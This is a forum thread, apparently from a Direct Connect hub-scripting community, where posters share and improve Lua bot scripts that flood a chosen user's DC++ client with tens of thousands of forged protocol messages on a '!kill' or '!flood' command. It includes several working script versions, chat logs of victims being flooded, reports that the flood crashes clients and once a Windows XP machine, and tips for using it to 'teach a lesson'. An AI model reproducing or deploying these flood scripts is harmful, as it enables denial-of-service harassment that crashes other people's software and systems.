Pure Evil By Phatty

[pHaTTy]

my pure evil bot

--PureEvil v1
--!kill 
--Written by Phatty 12th December 2k3

Bot = "Wolf" 


function RegEvil(killed)
	if killed == nil then end
		local t = 0
		repeat
			killed:SendData( "$Hello "..Bot..t )
			t = t+1
		until t == 10000
		if t == 10000 then
	end
end


function DataArrival(user, data) 
	if strsub(data, 1, 1) == "<" then
		data=strsub(data,1,strlen(data)-1)
		s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
		
		if cmd == "!kill" then
			killed = GetItemByName(term)
			RegEvil(killed)
		return 1
		end
	end
end

The bandwidth is unnoticable usage from this, and its affective ;)

l8rr,,

-phatty

[turkiye]

what's the function of this script??

[SaintSinner]

Originally posted by turkiye
what's the function of this script?? 8)

run it, if i am reading the code right
it does wonderful things. ;)

[turkiye]

I'm Gonna be test it
 

[turkiye]

whit this script can you gone ban soemone on mainchat and reason is not needed
 

[acethecase]

oki me stupide....

I don?t get it, it kicks user and flood him or!!

[Typhoon]

could it be the script i think it is Phatty ?

[NotRabidWombat]

Actually when testing this sort of flood script against DC++ I found it very resilliant to a nick flood. And a refresh user list solved the problem instantly. So I expanded upon and created a timer event so the hub wouldn't be bogged down.

sBotName = "-=UltraFlood=-";

sFloodUser = nil;
iFloodCount = 0;

sToFloodUser = nil;

function Main()
	frmHub:RegBot(sBotName);
	SetTimer(10);
end

function OnTimer()
	for i = 1, 20, 1 do
		iFloodCount = iFloodCount + 1;
		SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
	end

	if(GetItemByName(sFloodUser) == nil) then
		StopTimer();
		SendToAll(sBotName, sFloodUser.." was flooded with "..iFloodCount.." and went down in a firier ball of death.");
		iFloodCount = 0;
		sFloodUser,sToFloodUser = nil,nil;
	end
end

function DataArrival(curUser, sData)
	local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = strlower(cmd);

	if(cmd == "!flood" and GetItemByName(user)) then
		sFloodUser = user;
		sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
		SendToAll(sBotName, "Flooding "..user.." like a sack of potatos!!!");
		StartTimer();
	end
end

-NotRabidWombat

[c h i l l a]

a little bit more extended version

--PureEvil v1
--!kill 
--Written by Phatty 12th December 2k3, modded by chill

function RegEvil(killed)
	if killed ~= nil then
		--local handle = openfile("test.txt","w")
		local t1 = 0
		while t1 <= 100 do
			local t2,sdata = 0,""
			while t2 <= 10 do
				local word = strchar(random(65,90))
				local len = random(1,2)
				for i = 1,len do
					word = word..strchar(random(97,122))
				end
				sdata = sdata.."$Hello "..word.."|$To: "..strchar(134).." From: "..word.." $<"..word.."> "..strchar(134).."|"
				t2 = t2 + 1
			end
			--write(handle,sdata)
			killed:SendData(sdata)
			t1 = t1 + 1
		end
		--closefile(handle)
	end
end

function DataArrival(user, data) 
	if strsub(data, 1, 1) == "<" then
		data=strsub(data,1,strlen(data)-1)
		s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
		
		if cmd == "!kill" then
			killed = GetItemByName(term)
			RegEvil(killed)
		return 1
		end
	end
end

[pHaTTy]

Originally posted by c h i l l a
a little bit more extended version

--PureEvil v1
--!kill 
--Written by Phatty 12th December 2k3, modded by chill

function RegEvil(killed)
	if killed ~= nil then
		--local handle = openfile("test.txt","w")
		local t1 = 0
		while t1 <= 100 do
			local t2,sdata = 0,""
			while t2 <= 10 do
				local word = strchar(random(65,90))
				local len = random(1,2)
				for i = 1,len do
					word = word..strchar(random(97,122))
				end
				sdata = sdata.."$Hello "..word.."|$To: "..strchar(134).." From: "..word.." $<"..word.."> "..strchar(134).."|"
				t2 = t2 + 1
			end
			--write(handle,sdata)
			killed:SendData(sdata)
			t1 = t1 + 1
		end
		--closefile(handle)
	end
end

function DataArrival(user, data) 
	if strsub(data, 1, 1) == "<" then
		data=strsub(data,1,strlen(data)-1)
		s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
		
		if cmd == "!kill" then
			killed = GetItemByName(term)
			RegEvil(killed)
		return 1
		end
	end
end

hahahaha very nice update :)

[pHaTTy]

Originally posted by NotRabidWombat
Actually when testing this sort of flood script against DC++ I found it very resilliant to a nick flood. And a refresh user list solved the problem instantly. So I expanded upon and created a timer event so the hub wouldn't be bogged down.

sBotName = "-=UltraFlood=-";

sFloodUser = nil;
iFloodCount = 0;

sToFloodUser = nil;

function Main()
	frmHub:RegBot(sBotName);
	SetTimer(10);
end

function OnTimer()
	for i = 1, 20, 1 do
		iFloodCount = iFloodCount + 1;
		SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
	end

	if(GetItemByName(sFloodUser) == nil) then
		StopTimer();
		SendToAll(sBotName, sFloodUser.." was flooded with "..iFloodCount.." and went down in a firier ball of death.");
		iFloodCount = 0;
		sFloodUser,sToFloodUser = nil,nil;
	end
end

function DataArrival(curUser, sData)
	local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = strlower(cmd);

	if(cmd == "!flood" and GetItemByName(user)) then
		sFloodUser = user;
		sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
		SendToAll(sBotName, "Flooding "..user.." like a sack of potatos!!!");
		StartTimer();
	end
end

-NotRabidWombat

more affective this quite nice one dude :)

[pHaTTy]

heheh i just had to post this hehehe

[19:20] <-=UltraFlood=-> zetttki_[Comhem]_ was flooded with 2861460 and went down in a firier ball of death.


hahahaha

[oblivion]

just tried this ,but the robocop 5   stops me from using this it has !flood built in  ?( ..ideas?

[oblivion]

explain how this is used,cuz it aint workin ere!!!?

[pHaTTy]

yep u see the word "!flood" change it to "!kill" and then try !kill


;)

l8rr

[oblivion]

ah ok,,so this bans floods at same time...mmm

[oblivion]

nope still same.......ideas?

[pHaTTy]

noit doesnt well try another command !murder or sumit lol

[oblivion]

<(.UTH-UK.)-evilBot=-> [XXX]-melos was flooded with 21460 and went down in a firier ball of death.he won't bother us again :)



WTF  haha

[oblivion]

lol..doz this crash their system ?  

surely it must  21460  bombing ya ?

[pHaTTy]

way to go rabid it actually crashes dc out :)

[oblivion]

SendToNick(sFloodUser, "$you broke all the rules of the hub..burn in hell"..iFloodCount..sToFloodUser..iFloodCount.." $ ")

possible? aint tested it ..

[pHaTTy]

nah not with the way that runs....but i suppose you can send em a message, bit bissy atm i will ad one soon when i finished unless someone beats me

[oblivion]

ok i know i can just ban him !!!!!!!!

but i want to teach him a lesson ,is there a way to flood count very high ,cuz he comes back as normal






.
<(.UTH-UK.)-evilBot=-> Is Flooding SDDiUqjETs With flames of Ultimate power!!!
<(.UTH-UK.)-evilBot=-> SDDiUqjETs Was flooded with 24440 messages.. He went down in a Ultimate Fireball of intensity.
<(.UTH-UK.)-evilBot=-> Is Flooding SDDiUqjETs With flames of Ultimate power!!!
<(.UTH-UK.)-evilBot=-> SDDiUqjETs Was flooded with 23840 messages.. He went down in a Ultimate Fireball of intensity.

[NotRabidWombat]

With every test I performed DC crashed. There was one instance that an XP machine crashed when the flooding finished...

-NotRabidWombat